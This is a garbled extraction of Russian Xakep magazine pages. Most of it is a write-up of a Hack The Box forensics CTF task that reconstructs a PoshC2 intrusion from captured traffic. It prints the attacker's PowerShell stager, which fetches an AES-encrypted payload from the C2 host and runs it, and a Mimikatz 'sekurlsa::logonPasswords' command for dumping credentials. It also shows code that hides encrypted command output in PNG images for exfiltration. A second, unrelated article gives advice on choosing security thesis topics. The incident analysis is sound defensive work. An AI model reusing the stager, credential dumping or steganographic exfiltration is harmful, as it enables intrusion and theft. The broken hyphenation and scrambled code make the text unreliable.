https://learn.microsoft.com/en-us/powershell/scripting/install/installing-powershell-on-macos?view=powershell-7.3#supported-versions
https://xakep.ru/tag/powershell/
https://www.robwillis.info/2021/02/defending-against-powershell-attacks/
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https://github.com/rabobank-cdc/DeTTECT/wiki/How-to-use-the-framework#detection
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ВЗЛОМ

Зак репле ние, пос тэкс плу ата ция и эксфиль- 
тра ция — три неотъ емле мых эта па каж дой
ата ки. В этой статье мы про ведем рас сле- 
дова ние инци ден та: поищем арте фак ты,
сдам пим сетевой тра фик и деоб фусци руем
най ден ный вре донос ный код. Таким обра- 
зом мы вос ста новим дей ствия зло умыш- 
ленни ка и заод но поз накомим ся с популяр- 
ными тех никами, которые час то при меня- 
ются «в дикой сре де».

Эта статья — рай тап по одно му из заданий по циф ровой форен зике с про- 
шед шего в мар те 2023 года CTF-сорев нования на Hack The Box. Уро вень —
слож ный.

На ше задание зву чит сле дующим обра зом:

«
»

«Ìû çàìåòè ëè íåîáû÷ íûé òðà ôèê, èñõî äÿùèé èç îòêðû òîãî êîñ ìîñà.
Íåèç âåñ òíàÿ ãðóï ïà èñïîëü çóåò ñåð âåð Command and Control. Â õîäå
âñåñ òîðîí íåãî ðàñ ñëå äîâà íèÿ ìû óñòà íîâè ëè, ÷òî çàðàæå íî íåñ êîëü êî
êîìïü þòå ðîâ ó÷å íûõ èç ÷àñ òíîé ëàáîðà òîðèè Pandora. Ìîæåøü óçíàòü,
êàê ðàáîòà åò ñåð âåð, è âåð íóòü óêðà äåí íîå?»

То есть мы зна ем, что сер вер был ском про мети рован, и у нас есть тра фик.
Нас про сят про ана лизи ровать дамп, про вес ти рас сле дова ние инци ден та
и уста новить, как ата кующие заг ружали ути литы на ском про мети рован ный
сер вер, какими спо соба ми зак репля лись и как про изво дили эксфиль тра цию
дан ных. В конеч ном сче те нам нуж но будет най ти флаг.

ÈÙÅÌ ÀÐÒÅÔÀÊÒÛ Â ÑÅÒÅÂÎÌ ÒÐÀÔÈÊÅ

Пер вым делом заг рузим дамп в Wireshark. Нес ложно уста новить, что IP ском- 
про мети рован ного сер вера при ват ный — 192.168.25.140, в то вре мя
как адрес C2-сер вера ата кующих пуб личный — 64.226.84.200. Так же вид но,
что со ском про мети рован ного хос та про исхо дит обра щение к сто рон нему
ресур су (C2-сер веру) с GET-зап росом по ссыл ке, которая окан чива ется
на . В ответ сер вер отда ет сце нарий на PowerShell.vn84.ps1

GET-зап рос со ском про мети рован ного хос та для заг рузки vn84.ps1

Тра фик переда ется по HTTP, то есть без шиф рования. Это зна чит, что мы
можем экспор тировать передан ные объ екты из дам па и под робно их изу чить,
что бы вос ста новить ход ата ки, а так же опре делить, какие методы и ути литы
исполь зовали ата кующие. Для это го в меню выбира ем «Файл → Экспор- 
тировать объ екты → HTTP». Жмем «Сох ранить все» и зада ем конеч ную
дирек торию.

Эк спор тирован ные из дам па тра фика объ екты

ÈÇÓ×ÀÅÌ ÀÐÒÅÔÀÊÒÛ

В гла за сра зу бро сает ся экспор тирован ный сце нарий PowerShell, одна ко,
что бы получить пол ную кар тину, нуж но опре делить, с арте фак тами какого
фор мата нам пред сто ит работать. Поэто му не будем бро сать ся изу чать най- 
ден ные скрип ты, а пер вым делом пос мотрим, что за фор мат у осталь ных
экспор тирован ных фай лов. Для это го вос поль зуем ся ути литой le и коман- 
дле том . Обой дем все фай лы в цик ле:Get-ChildItem

  .Nameforeach ($file in (Get-ChildItem $_ ))

Фор мат экспор тирован ных фай лов

За пишем получен ный мас сив в перемен ную , а в новом цик ле

пере име нуем фай лы с рас ширени ем PNG, что бы пос мотреть, что внут ри.

$fileformat

   foreach ($format in $fileformat) }

Ин терес ного в самих кар тинках мало (это изоб ражения собак в низ ком раз- 
решении), одна ко вни мание прив лека ет файл ,
пос коль ку его раз мер боль ше дру гих — 827 Кбайт. Похоже, помимо кар тинки,
в нем есть что-то еще. Возь мем этот факт на замет ку и будем дви гать ся даль- 
ше. Пог лядим, что в дру гих фай лах.

%3fdVfhJmc2ciKvPOC(23).png

По лучен ные PNG

Фай лы раз мером око ло 1 Кбайт — отве ты сер вера на зап росы («200 OK»
и дру гие коды), и инте реса такие дан ные для нас не пред став ляют. Осталь ные
фай лы име ют малораз личимое содер жимое, их пока оста вим, а вот экспор- 
тирован ный сце нарий PowerShell впол не читабель ный, хоть и нем ного
обфусци рован. Поп робу ем разоб рать ся, что про исхо дит в коде.

Изу чая , мож но уви деть обфусци рован ные коман дле ты.vn84.ps1

Об фусци рован ное содер жимое vn84.ps1

Здесь ата кующие исполь зуют обфуска цию строк, под робнее об этой и дру гих
тех никах мож но узнать из док лада на Black Hat 2017 ( ).PDF

Для деоб фуска ции мож но пой ти нес коль кими путями: вос поль зовать ся
инс тру мен том , исполь зовать жур нал Windows при вклю чен ном
ауди те сце нари ев PowerShell, ну или поп росить разоб рать ся ChatGPT,
который тоже уме ет деоб фусци ровать, хоть иног да и меня ет исходный код
на свое усмотре ние.

PSDecode

Я вос поль зуюсь PSDecode. Пос ле деоб фуска ции получа ем исходный сце-
нарий (некото рые стро ки я под пра вил вруч ную):

 Set-Item 'Variable:QLz0so' ([type]('System.IO.FileMode'))
 Set-Variable -Name l60Yu3 -Value ([type]('System.Security.

Cryptography.AesCryptoServiceProvider'))
 Set-Variable -Name BI34 -Value ([type]('System.Security.Cryptography.

CryptoStream'))
  $Url = 'http://64.226.84.200/94974f08-5853-41ab-938a-ae1bd86d8e51'
  $PTF = "$env:temp\94974f08-5853-41ab-938a-ae1bd86d8e51"

Import-Module BitsTransfer 
   Start-BitsTransfer -Source $url -Destination $path

   Invoke-WebRequest -Uri $Url -OutFile $PTF
  , $Fs = New-Object -TypeName 'System.IO.FileStream'($PTF ([System.IO.

FileMode]::Open))
  $MS = New-Object -TypeName 'System.IO.MemoryStream'
  $aes = [System.Security.Cryptography.AesCryptoServiceProvider]::

Create()
 128 $aes.KeySize =

  $KEY = [byte[]] (0,1,1,0,0,1,1,0,0,1,1,0,1,1,0,0)
  $iv = [byte[]] (0,1,1,0,0,0,0,1,0,1,1,0,0,1,1,1)
.Key  $aes = $KEY
.IV  $aes = $iv
  

, , 
$cs = New-Object -TypeName 'System.Security.Cryptography.
CryptoStream'($MS $aes.CreateDecryptor() ([System.Security.
Cryptography.CryptoStreamMode]::Write))
$fs.CopyTo($cs)

  $decD = $MS.ToArray()
, 0, $CS.Write($decD $decD.Length)

  $decD | Out-File -Path "$env:temp\tmp7102591.exe" -Encoding Byte 
& "$env:temp\tmp7102591.exe"

Ста новит ся понят нее. Если корот ко: PowerShell-скрипт здесь при помощи
сис темной служ бы Windows BitsTransfer (  по мат рице ATT&CK) переда ет
дан ные с C2-сер вера. Они заг ружа ются на ском про мети рован ный хост, пос- 
ле чего рас шифро выва ются по алго рит му AES-CBC-128. Для рас шифров ки
AES c CBC-mode необ ходимы ключ и век тор ини циали зации, они как раз
и ука заны в сце нарии.

T1197

Рас шифро ван ные бай ты записы вают ся в исполня емый файл 

, а затем этот файл запус кает ся. Наша пер вооче ред ная
цель — рас шифро вать дан ные и записать их в исполня емый файл для даль- 
нейше го изу чения. Это поможет узнать, что про исхо дило на эта пе зак репле- 
ния.

$env:temp\
tmp7102591.exe

Для дешиф ровки можем вос поль зовать ся тем же сце нари ем или инс тру- 
мен том  (но это более тру доем кий спо соб).CyberChef

Из зна чения перемен ной  в сце нарии сле дует, что рас шифро вывать

нуж но поток бай тов в дам пе тра фика с име нем 
.

$Url
94974f08-5853-41ab-938a-

ae1bd86d8e51

Что бы убе дить ся, что работа ведет ся с вер ным
пакетом, номер пакета мож но сопос тавить
с номером экспор тиру емо го объ екта Wireshark.

Итак, все передан ные фай лы уже экспор тирова ны, алго ритм, ключ и век тор
у нас на руках. Получа ется, дело за малым: нуж но лишь рас шифро вать дан ные
и записать их в файл. Рас шифро вывать мы будем тем же сце нари ем 

, толь ко перед запус ком нем ного его перепи шем:
vn84.

ps1
1. Уда лим стро ки, в которых исполь зует ся BitsTransfer.
2. Ис пра вим путь, по которо му будет счи тывать ся заг ружа емый файл

(перемен ная ), на путь, куда мы экспор тирова ли объ екты из дам па
тра фика. То есть ука жем пол ный путь до экспор тирован ного фай ла

.

$PTF

94974f08-5853-41ab-938a-ae1bd86d8e51

3. Уда лим пос леднюю стро ку, в которой исполня ется файл (нам это сей час
ни к чему).

4. Так же для удобс тва поис ка рас шифро ван ного фай ла в сис теме сме ним
 на , а путь 

на необ ходимый нам и зададим кодиров ку .
Out-File Set-Content $env:temp\tmp7102591.exe

-Encoding Byte

Ито говый сце нарий будет выг лядеть так:

  $PTF = "C:\Users\Antony\Desktop\C2Interstellar_HTB\C
2_Interstellar_CTF_Task\WShark 2\9
4974f08-5853-41ab-938a-ae1bd86d8e51"

  , $Fs = New-Object -TypeName 'System.IO.FileStream'($PTF ([System.IO.
FileMode]::Open))

  $MS = New-Object -TypeName 'System.IO.MemoryStream'
  $aes = [System.Security.Cryptography.AesCryptoServiceProvider]::

Create()
 128 $aes.KeySize =

  $KEY = [byte[]] (0,1,1,0,0,1,1,0,0,1,1,0,1,1,0,0)
  $iv = [byte[]] (0,1,1,0,0,0,0,1,0,1,1,0,0,1,1,1)
.Key  $aes = $KEY
.IV  $aes = $iv
  

, , 
$cs = New-Object -TypeName 'System.Security.Cryptography.
CryptoStream'($MS $aes.CreateDecryptor() ([System.Security.
Cryptography.CryptoStreamMode]::Write))
$fs.CopyTo($cs)

  $decD = $MS.ToArray()
, 0, $CS.Write($decD $decD.Length)

 
 

$decD | Set-Content -Path "C:\Users\Antony\Desktop\C2Interstellar_HTB
\C2_Interstellar_CTF_Task\tmp7102591.exe" -Encoding Byte 

Те перь выпол ним наш скрипт и получим исполня емый файл .tmp7102591.exe
С помощью ути литы  мы можем убе дить ся, что файл не был

запако ван. Сле дом откро ем его в , что бы под робнее изу чить код.
Detect It Easy

dnSpy

Ис сле дова ние исполня емо го фай ла на наличие пакера

Ис ходный код tmp7102591.exe

Продолжение статьи →
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https://www.blackhat.com/docs/us-17/thursday/us-17-Bohannon-Revoke-Obfuscation-PowerShell-Obfuscation-Detection-And%20Evasion-Using-Science-wp.pdf
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https://github.com/horsicq/Detect-It-Easy
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Ис ходное наз вание фай ла — . Нас тало вре мя навешать

брейк-пой нты и подать на вход экспор тирован ные фай лы, которые не уда- 
лось изу чить рань ше. Это поз волит нам узнать, как работа ет дроп пер.

dropper_cs.exe

Для вза имо дей ствия с сер вером исполь зует ся фун кция ,
с ее помощью ата кующие как ска чива ют дан ные с сер вера, так и отправ ляют
туда поль зователь скую информа цию с хос та жер твы, пред варитель но обра- 
ботав ее (как имен но — раз берем ся даль ше). Во вре мя ска чива ния на ском- 
про мети рован ный хост дос тавля ются допол нитель ные инс тру мен ты, которые
будут исполь зованы для раз вития ата ки. Давай под робнее пос мотрим,
как про исхо дит дос тавка информа ции на машину жер твы.

GetWebRequest()

Пос ле запус ка фай ла  выпол няет ся пер вый GET-зап рос

на С2-сер вер ата кующих ( ) с роутом 

. Этот файл мы уже экспор тирова ли, поэто му
счи таем дан ные из него методом  клас са , а стро ку зап- 

роса к сер веру заком менти руем. Вооб ще, мож но заком менти ровать всю
фун кцию , так как необ ходимос ти в ней боль ше нет. И уста- 
новим точ ку оста нова на стро ке 310, что бы пос мотреть, как выг лядит рас- 
шифро ван ная информа ция.

dropper_cs.exe
http://64.226.84.200:8080 /Kettie/

Emmie/Anni?Theda=Merrilee?c
ReadAllText() File

GetWebRequest()

Рас шифро ван ные дан ные пакета Anni?Theda=Merrilee?c

Пос ле успешной дешиф ровки текст выше чис тится регуляр ками, и мы в ито ге
получа ем:

спи сок роутов (по ним в даль нейшем будет зап рашивать ся вся необ- 
ходимая информа ция с сер вера, допол нитель ный инс тру мен тарий и про- 
чее);

•

да ту (если она мень ше текущей, имплант запущен не будет);•
вре мя сна;•
джит тер задер жки для пос леду ющих зап росов GET и POST;•

;• íî âûé êëþ÷ øèô ðîâàíèÿ

implant — набор кар тинок в PNG, которые мы уже видели, в фор мате
Base64.

•

По лучен ные дан ные вид но на рисун ке ниже.

Рас шифро ван ные и деоб фусци рован ные дан ные

Вся получен ная информа ция переда ется через аргу мен ты фун кции
, которая отве чает за внед рение кода.ImplantCore()

В этой фун кции ата кующие GET-зап росами получа ют допол нитель ный
исполня емый код, рас шифро выва ют его при помощи нового клю ча
и исполня ют на ском про мети рован ном хос те с опре делен ными парамет рами
без записи в файл (то есть это бес фай ловая ата ка).

Да вай рас шифру ем фай лы, что бы опре делить, какие инс тру мен ты заг- 
рузили зло умыш ленни ки. Для это го вмес то заг рузки с сер вера счи таем дан- 
ные из экспор тирован ного фай ла  и рас шифру ем его,
а потом запишем байт-код в новый файл .

%3fdVfhJmc2ciKvPOC
First_Decr.exe

Пос чита ем хеш получив шегося фай ла и отпра вим на VirusTotal.

Про вер ка рас шифро ван ного фай ла на VirusTotal

Файл — не что иное, как PoshC2, фрей мворк для зак репле ния и пос тэкс плу- 
ата ции. Отлично!

Ана логич ным обра зом поп робу ем рас шифро вать сле дующий экспор- 
тирован ный файл — . Пос ле дешиф ровки получа ем

 — , которая поз воля ет
дам пить кре ды из lsass.exe. Она запус кает ся со сле дующи ми аргу мен тами:

%3fdVfhJmc2ciKvPOC(14)
SharpSploit.dll биб лиоте ку для пос тэкс плу ата ции

run-dll SharpSploit.Credentials.Mimikatz SharpSploit Command 
"privilege::debug sekurlsa::logonPasswords"

За пуск про исхо дит в коман дной стро ке cmd в фун кции 
.

stringBuilder.
AppendLine(Program.rAsm(cmd))

SharpSploit.dll

Пос ле выпол нения кода  со ском про мети рован ного сер- 

вера резуль тат нап равлял ся на сер вер C2, но преж де закоди рован ные
в Base64 дан ные обра баты вают ся. Они кон верти руют ся в мас сив бай тов,
затем сжи мают ся при помощи Gzip и шиф руют ся сле дующей фун кци ей:

SharpSploit.dll

          
    

private static string Encryption(string key, string un, bool comp =
false, byte[] unByte = null)
{
    byte[] array = null;
    if (unByte != null)
 {

       array = unByte;
 }
 else
 {

       array = Encoding.UTF8.GetBytes(un);
 }
  if (comp)
 {

       array = Program.Compress(array);
 }
  string text;
 try
 {

    
 

     SymmetricAlgorithm symmetricAlgorithm = Program.CreateCam(key,
null, true);

   
  

     byte[] array2 = symmetricAlgorithm.CreateEncryptor().
TransformFinalBlock(array, 0, array.Length);

  
 

     text = Convert.ToBase64String(Program.Combine(
symmetricAlgorithm.IV, array2));
 }
 catch
 {

    
 

     SymmetricAlgorithm symmetricAlgorithm2 = Program.CreateCam(key,
null, false);

   
  

     byte[] array3 = symmetricAlgorithm2.CreateEncryptor().
TransformFinalBlock(array, 0, array.Length);

  
 

     text = Convert.ToBase64String(Program.Combine(
symmetricAlgorithm2.IV, array3));
 }
  return text;
}

Пос ле это го к дан ным добав ляют ся слу чай ные 1500 байт и получен ная
на пер вом эта пе кар тинка.

    internal static byte[] GetImgData(byte[] cmdoutput)
{
    int num = 1500;
      int num2 = cmdoutput.Length + num;
      string text = Program.ImgGen._newImgs[new Random().Next(0, Program.
ImgGen._newImgs.Count)];
    byte[] array = Convert.FromBase64String(text);
    

  
byte[] bytes = Encoding.UTF8.GetBytes(Program.ImgGen.RandomString(

num - array.Length));
     byte[] array2 = new byte[num2];
     Array.Copy(array, 0, array2, 0, array.Length);
     Array.Copy(bytes, 0, array2, array.Length, bytes.Length);
       Array.Copy(cmdoutput, 0, array2, array.Length + bytes.Length,
cmdoutput.Length);
  return array2;
}

Это как раз та кар тинка, необыч ный раз мер которой мы уже под метили
в начале рас сле дова ния.

Нас тало вре мя изу чить под робнее файл .

Пос мотрим на его содер жимое в Hex-редак торе HxD.

%3fdVfhJmc2ciKvPOC(23).png

Шес тнад цатерич ное пред став ление фай ла
%3fdVfhJmc2ciKvPOC(23).png

В заголов ке видим PNG, а так же что пос ле окон чания PNG идут дру гие дан- 
ные.

Что бы узнать, что скры то в дан ных, напишем свой дек риптор.

ÏÈØÅÌ ÄÅÊÐÈÏÒÎÐ

Зная алго ритм пре обра зова ния дан ных, поп робу ем декоди ровать информа- 
цию. Для это го возь мем име ющиеся в коде фун кции:

 — дешиф рует дан ные AES-CBC-128, нем ного изме нив фун- 
кцию, добавив в нее деком прес сию методом Gzip и убрав лиш нее пре- 
обра зова ние из мас сива бай тов в текст;

• Decrypt()

 — слу жит для соз дания алго рит ма с клю чом и век тором;• CreateCam()

 — для разар хивиро вания дан ных методом Gzip.• Decompress()

В кон це декоди руем мас сив бай тов в стро ку методом 

.

Encoding.ASCII.
GetString()

В конеч ном сче те пре обра зуем из Base64 и запишем получив ший ся
байт-код в файл .decrypted_image.png

Ни же при веде на получив шаяся прог рамма. Для исполне ния рекомен дую
исполь зовать .NET 8.0 и выше.

 using System;
 using System.IO.Compression;
 using System.Security.Cryptography;
 using System.Text;

 namespace Decryptor
{
   public class Program
 {
       static void Main(string[] args)
    {

           var cmd = File.ReadAllBytes("C:\\Users\\Antony\\Desktop\\
C2Interstellar_HTB\\C2_Interstellar_CTF_Task\\WShark 2\\
%3fdVfhJmc2ciKvPOC(23).png");

           string key = "nUbFDDJadpsuGML4Jxsq58nILvjoNu76u4FIHVGIKSQ=";
             var text = Program.Decryption(key, cmd).Replace("\0", string

.Empty);
    }

       static byte[] Decompress(byte[] data)
    {

             using (var compressedStream = new MemoryStream(data))
              using (var zipStream = new GZipStream(compressedStream,

CompressionMode.Decompress))
             using (var resultStream = new MemoryStream())

        {
            zipStream.CopyTo(resultStream);

             return resultStream.ToArray();
        }
    }

          private static string Decryption(string key, byte[] arr)
    {

           byte[] tmp_arr = arr[1500..arr.Length];

            byte[] array2 = new byte[16];

          Array.Copy(tmp_arr, array2, 16);
           string text = "";

        try
        {

   
  

            SymmetricAlgorithm symmetricAlgorithm = Program.
CreateCam(key, Convert.ToBase64String(array2), true);

   
    

            byte[] array3 = symmetricAlgorithm.CreateDecryptor().
TransformFinalBlock(tmp_arr, 16, tmp_arr.Length - 16);

               byte[] arr4 = Decompress(array3);
               byte[] tet = Convert.FromBase64String(Encoding.ASCII.

GetString(arr4));

 

            File.WriteAllBytes("C:\\Users\\Antony\\Desktop\\
C2Interstellar_HTB\\C2_Interstellar_CTF_Task\\WShark 2\\DecodedInfo\\
decrypted_image4.png", tet);
        }
        catch
        {

   
  

            SymmetricAlgorithm symmetricAlgorithm2 = Program.
CreateCam(key, Convert.ToBase64String(array2), false);

   
    

            byte[] array4 = symmetricAlgorithm2.CreateDecryptor().
TransformFinalBlock(tmp_arr, 16, tmp_arr.Length - 16);

  
 

            text = Encoding.UTF8.GetString(Convert.FromBase64String(
Encoding.UTF8.GetString(array4).Trim(new char[1])));
        }
        finally
        {

              Array.Clear(tmp_arr, 0, tmp_arr.Length);
              Array.Clear(array2, 0, 16);

        }
         return text;

    }

          
    
private static SymmetricAlgorithm CreateCam(string key, string

IV, bool rij = true)
    {

         SymmetricAlgorithm symmetricAlgorithm;
         if (rij)

        {
               symmetricAlgorithm = new RijndaelManaged();

        }
        else
        {

               symmetricAlgorithm = new AesCryptoServiceProvider();
        }

          symmetricAlgorithm.Mode = CipherMode.CBC;
          symmetricAlgorithm.Padding = PaddingMode.Zeros;
          symmetricAlgorithm.BlockSize = 128;

          symmetricAlgorithm.KeySize = 256;
           if (IV != null)

        {
              symmetricAlgorithm.IV = Convert.FromBase64String(IV);

        }
        else
        {
            symmetricAlgorithm.GenerateIV();
        }

           if (key != null)
        {

              symmetricAlgorithm.Key = Convert.FromBase64String(key);
        }

         return symmetricAlgorithm;
    }
 }

За кро пот ливую работу нас ждет наг рада в виде фла га, который был отве том
на это инте рес ное задание.

Флаг

ÂÛÂÎÄÛ

Итак, мы про вели неболь шое рас сле дова ние и выяс нили, как зло умыш ленник
дос тавил на ском про мети рован ный хост допол нитель ные ути литы, выпол нил
вре донос ный код и эксфиль тро вал дан ные со ском про мети рован ного узла.

https://github.com/cobbr/SharpSploit/tree/master
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ВЗЛОМ

На чало учеб ного года — это еще и начало
сезона под готов ки дип ломных работ. А это
зна чит, что у меня нас тупа ет сезон фор- 
мулиро вания тем для сту ден тов факуль- 
тетов и кафедр информа цион ной безопас- 
ности в ведущих вузах. Я соб рал свои
рекомен дации и лай фха ки для под готов ки
тво его пер вого ИБ-иссле дова ния.

Де нис Мак рушин — выпус кник факуль тета информа цион ной безопас ности
НИЯУ МИФИ и там же про дол жает делить ся опы том со сту ден тами сво ей аль- 
ма-матер. Так же Денис выс тупа ет науч ным руково дите лем для сту ден тов раз- 
ных ведущих кафедр и факуль тетов стра ны в области информа цион ной
безопас ности и защиты информа ции.

Я сфор мулиро вал рекомен дации по прин ципу «один абзац — один инсайт»
и рас пре делил их по раз делам. Какие-то инсай ты могут при годить ся
для учеб но-иссле дова тель ской работы, какие-то — для под готов ки пер вого
док лада на кон ферен цию.

ÑÒÀÂÈÌ ÖÅËÈ

Нач нем с основно го: хард скил лы в индус трии необ ходимы, но софт скил лы —
это осно ва прак тичес ки любой про фес сии, которая под разуме вает обще ние
с людь ми. Поэто му отно сись к дип лому не как к фор маль нос ти, а как к средс- 
тву, которое про качи вает и хард скил лы (резуль таты иссле дова ния — ути литы,
мет рики, код), и софт скил лы (пред став ление этих резуль татов — отче ты, пре- 
зен тации).

Эк спер ты не появ ляют ся на пус том мес те и рас тут не в резуль тате бес- 
сонных ночей, про веден ных за тех ничес кими иссле дова ниями, а в резуль тате
приз нания сооб щес твом этих бес сонных ночей. Вот почему ком муника ция
и отчетность — это необ ходимые эта пы любого иссле дова ния. И любого про- 
екта. Да, и тво его дип ломно го про екта тоже.

Есть воз можность получить быс трый отклик на свое иссле дова ние: пост
в бло ге и пре зен тация на кон ферен ции. Сна чала пост. Его текст поз волит
под готовить сце нарий для выс тупле ния. Если сму щает выс тупле ние
перед боль шой ауди тори ей, соз дай вебинар для сво их дру зей. Пусть
это будет репети цией тво его док лада перед боль шим мероп риятием. Нап- 
ример, перед защитой дип лома.

На пом ним, что ты всег да можешь прис лать свою статью в «Хакер». Авто рам
опуб ликован ных матери алов вып лачива ется гонорар, к тому же мы помога ем
с редак турой и офор мле нием статьи. По воп росам сот рудни чес тва пиши
глав ному редак тору, адрес — на .стра нице кон тактов

Выс тупле ние на любом релеван тном мероп риятии — это хороший спо соб
получить обратную связь, завес ти новых зна комых и, воз можно, най ти пар- 
тне ров по иссле дова тель ской работе. В роли обыч ного учас тни ка ты рис- 
куешь пот ратить дра гоцен ное вре мя в углу ком наты с чаш кой кофе и ноут- 
буком, а ста тус спи кера обя зыва ет вый ти под свет софитов.

При мер из моего опы та: поез дка на реги ональ ный BSides в Каире. Ито ги
док лада:
1.  зна комс тво с экспер тами EG-CERT и переда ча отче тов с уяз- 

вимос тями и лан дшаф том угроз для реги она.

Èì ïàêò:

2.  зарядил энер гией сту ден тов мес тных факуль тетов Computer

Science, теперь они хотят про дол жить обу чение в нап равле нии ИБ.

Íåò âîðêèíã:

3.  пос тупил зап рос о мен торс тве от талан тли вого сту ден та

из Mansoura University для его под готов ки к док ладу на кон ферен ции в сле- 
дующем году (поз же рас ска жу, что из это го получи лось).

Íåò âîðêèíã:

4.  пос тупило приг лашение в сос тав Review

Board мероп риятия.

Èí òåãðà öèÿ â ñîîá ùåñ òâî:

Ес ли ты посеща ешь кон ферен ции в онлай не ради кон тента, рекомен дую
перес мотреть отно шение к мероп риятиям. Лич ное при сутс твие всег да при- 
дает им допол нитель ную цен ность.

ÂÛÁÈÐÀÅÌ ÒÅÌÓ

С при чина ми и мотива ми разоб рались. Теперь нуж но опре делить ся с темой
будущей работы. Давай для при мера возь мем ста тис тику рас простра нения
тро янов-шиф роваль щиков. Вот что нам извес тно об этом:
1.  раз вития это го типа мал вари демонс три рует взрыв ной рост:

от пары семей ств в 2010-м до 20+ семей ств еже месяч но к 2017-му.
Хро ноло гия

2. Чис ло атак шиф роваль щиков  в 2021 году в срав нении
с 2020 годом.

уд воилось

3. Ско рость раз ворачи вания шиф роваль щика в ском про мети рован ной
инфраструк туре , что зна читель но сни жает вре мя, нуж ное
для реаги рова ния на инци дент (в 2021 году у жер твы было 92 часа, что бы
спас ти свои дан ные).

уве личи вает ся

4. Сред нее вре мя прос тоя инфраструк туры и биз нес-про цес сов в резуль тате
атак  с 15 часов в 2020 году до 22 часов в 2021-м (вре мя — день- 
ги!).

вы рос ло

5. Ущерб от атак шиф роваль щиков в 2021 году оце нивал ся в 20 мил лиар дов
дол ларов, а к 2031 году  ущерб в 265 мил лиар дов.ожи дает ся

На осно ве этих дан ных получа ем рецепт хорошей темы для кур совой:
1. На ходим зло дея: берем наибо лее острую проб лему, которая меша ет жить

всем индус три ям, поль зовате лям.
2. Пре пари руем зло дея: изу чаем тех ничес кие осо бен ности, выделя ем клю- 

чевые харак терис тики, ищем сла бое мес то.
3. Соз даем анти дот и не забыва ем рас ска зать об этом в тек сте работы.

Вкрат це: опре дели проб лему, изу чи сущес тву ющие решения, выяви их общий
недос таток и пред ложи свой вари ант его исправ ления.

Пло хая идея: поп росить ChatGPT при думать для тебя тему. Хорошая идея:
поп росить его же соб рать матери алы для уже выб ранной темы. В чем раз- 
ница? В пер вом слу чае ты поз воля ешь алго рит му опре делить судь бу тво ей
работы. Во вто ром слу чае ты эко номишь свое вре мя на сбор и ана лиз акту- 
аль ных зна ний по нап равле нию, которое задал сам.

От вет ChatGPT на пред ложение при думать тему пер спек тивно го иссле -
дова ния в нап равле нии кибер безопас ности

Ес ли все рав но при дет ся тра тить вре мя на под готов ку дип ломной работы, то
почему бы не инвести ровать это вре мя в инте рес ный тебе про ект? Даже если
ты учишь ся по нелюби мому нап равле нию и готовишь ся стать спе циалис том
в неин терес ной тебе области (ну или за дип ломом тебя прос то отпра вили
родите ли), то даже в этом слу чае можешь син тезиро вать дип ломную тему
на осно ве тре бова ний факуль тета (или кафед ры) и области тво их инте ресов.

Нап ример, ты учишь ся на спе циалис та по информа цион ной безопас ности,
но чувс тву ешь, что мог бы стать ком позито ром. Наб росай обла ко тегов:
«защита», «музыка», «интеллек туаль ная собс твен ность», «утеч ки ком- 
позиций», «пиратс тво», «кибер безопас ность в музыкаль ной индус трии»
и тому подоб ное.

Вот тут за иде ями быва ет полез но обра тить ся к генера тив ным алго рит- 
мам.

При мер того, как алго рит мы могут быть источни ком идей для объ еди -
нения нес коль ких областей в одно иссле дова тель ское нап равле ние

ÔÎÐÌÓËÈÐÓÅÌ ÒÅÌÓ

Об ласть иссле дова ний опре деле на. Теперь прис тупа ем к фор мулиров ке
темы.

Есть минимум два спо соба сфор мулиро вать тему пер спек тивно го иссле- 
дова ния. Мож но про вес ти так называ емый ана лиз state of the art — изу чить
все дос тупные опуб ликован ные работы в нуж ном нап равле нии. Основные
тре бова ния для этих работ: они дол жны быть акту аль ными (пери од акту аль- 
нос ти опре деля ешь сам) и релеван тны ми тво ему нап равле нию. В про цес се
ана лиза выписы вай источни ки, даты пуб ликации и авто ров — все это при- 
годит ся.

Ког да будешь изу чать источни ки, возь ми на воору жение сай ты
 и .ResearchGate Google Scholar

Там ты можешь най ти работы, которые еще не опуб ликова ны в цитиру емых
науч ных изда ниях, но которые могут содер жать какие-то полез ные для тебя
арте фак ты: чер новики, анно тации к док ладам, пос ты в бло гах и тому подоб- 
ное.

Нес мотря на то что все иссле дова тель ское сооб щес тво говорит
на англий ском язы ке, про ана лизи руй рос сий ские и китай ские базы зна ний.
С этой задачей тоже неп лохо помога ет ChatGPT.

ChatGPT под ска зыва ет допол нитель ные источни ки иссле дова тель ских
работ в Рос сии и Китае

При чте нии ста тей обра щай вни мание на раз дел «Зак лючение», в котором
содер жатся выводы и пред ложены вари анты про дол жения работы. В этом
раз деле могут быть опи саны огра ниче ния пред ложен ных авто ром методов,
алго рит мов и сис тем. А для тебя эти огра ниче ния могут стать отправ ной точ- 
кой в фор мулиро вании темы тво его про екта.

Са мый инте рес ный под ход к задаче — это спро сить экспер та, который
пог ружен в эту область и который пуб ликовал резуль таты сво их про ектов.
Пом нишь, что, помимо спис ка источни ков, я рекомен довал делать спи сок
авто ров? Вот теперь прой дись по нему и опре дели наибо лее активно го
или инте рес ного тебе. Затем выходи с ним на связь любым удоб ным обра- 
зом, что бы обсу дить тему сво ей работы.

Прев ратить авто ра инте рес ного тебе про екта в сво его науч ного руково- 
дите ля или мен тора — это та самая задача, которая может зна читель но улуч- 
шить твою работу.

Да и вооб ще выбор науч ного руково дите ля — это минимум треть успе ха
будущей работы. Поэто му если по каким-то при чинам ты не можешь его най- 
ти на сво ем факуль тете или в уни вер ситете, то ищи в индус трии.

ÏÐÎÂÎÄÈÌ ÈÑÑËÅÄÎÂÀÍÈß

Оп ределил тему, сфор мулиро вал цель работы. Теперь надо делать.
Раз дели под готов ку работы на эта пы:

1. Со дер жание (клю чевые раз делы работы).
2. Пре зен тация (каж дый заголо вок слай да — раз дел работы).
3. К каж дому слай ду сде лай ком мента рий, в котором будут основные тезисы.
4. Абс тракт работы.
5. Ан нотация или авто рефе рат.
6. От чет.

Имен но в этой пос ледова тель нос ти ты начина ешь дви жение от обще го к час- 
тно му.

Не зави симо от типа иссле дова ния его резуль татом дол жно стать 

. Если ито гом работы не будет что-то новое, то автор прос то попол- 

няет свал ку извес тных мыс лей. Оставь это алго рит мам.

íî âîå

çíà íèå

Да же если задача тво его про екта не зак люча ется в раз работ ке нового
метода или сис темы, а пред став ляет собой обзор сущес тву ющих работ, то
даже в этом слу чае мож но син тезиро вать новое зна ние. Для это го мож но
исполь зовать сле дующие методы ана лиза и син теза новых зна ний.

Ме тоды ана лиза и син теза новых зна ний

State of the art (SOTA) — метод обзо ра боль ших объ емов литера туры, который
поз воля ет изу чить, почему и как раз вивались наши текущие зна ния, и пред- 
ложить новые нап равле ния иссле дова ний. Метод хорошо опи сан в статье
«

».
